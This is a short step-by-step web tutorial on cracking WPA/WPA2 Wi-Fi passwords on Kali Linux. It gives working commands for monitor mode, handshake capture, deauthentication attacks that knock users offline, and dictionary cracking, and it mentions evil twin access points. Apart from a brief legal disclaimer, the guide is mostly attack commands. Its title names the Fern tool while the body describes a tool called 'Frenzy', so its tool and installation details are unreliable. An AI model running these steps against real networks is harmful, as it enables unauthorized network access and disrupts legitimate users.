How to hack WiFi password with Fern kali Linux tool

Performing Wireless Attacks with Frenzy on Kali Linux – A Step-by-Step Guide

Disclaimer: This article is for educational purposes only. Do not attempt any wireless attack on networks you do not own or have explicit permission to test. Unauthorized access is illegal and unethical.

1. Introduction to Frenzy (Fren)

Frenzy, often referred to as Fren, is a lightweight wireless attack toolkit available in Kali Linux. It combines utilities to perform Wi-Fi monitoring, scanning, handshake capturing, and packet injection — particularly useful in WPA/WPA2 cracking scenarios.

2. Prerequisites

A system running Kali Linux

A wireless adapter that supports monitor mode and packet injection (e.g., Alfa AWUS036NHA)

Basic understanding of wireless protocols (802.11)

3. Installing or Verifying Frenzy

Option 1: From Kali's repositories

sudo apt update

sudo apt install frenzy

Option 2: From GitHub (if not in repo)

git clone https://github.com/xHak9x/frenzy.git

cd frenzy

chmod +x frenzy.sh

4. Setting Up Wireless Adapter

Step 1: Identify your wireless interface:

iwconfig

Step 2: Enable monitor mode:

sudo airmon-ng start wlan0

5. Launching Frenzy

sudo ./frenzy.sh

Navigate the menu using keyboard input. Choose scanning, attacks, or handshake capturing options as needed.

6. Using Frenzy for Wireless Attacks

WARNING: Only use on authorized networks!

A. Wi-Fi Scanning

Frenzy scans and lists all nearby Wi-Fi networks with details like BSSID, encryption, and channel.

B. Capture WPA Handshake

airodump-ng --bssid [BSSID] -c [Channel] -w handshake wlan0mon

C. Deauthentication Attack

aireplay-ng --deauth 10 -a [BSSID] wlan0mon

D. Crack the Handshake

aircrack-ng -w rockyou.txt -b [BSSID] handshake.cap

7. Additional Features

Evil Twin AP creation

MAC spoofing

Packet sniffing

8. Logs and Output

Frenzy saves logs and handshakes in its working directory. Check with:

ls -lh

9. Stopping Monitor Mode

sudo airmon-ng stop wlan0mon

sudo service NetworkManager restart

10. Final Thoughts

Frenzy is a powerful tool for ethical hacking and penetration testing. Ensure you operate within the boundaries of the law and professional ethics.
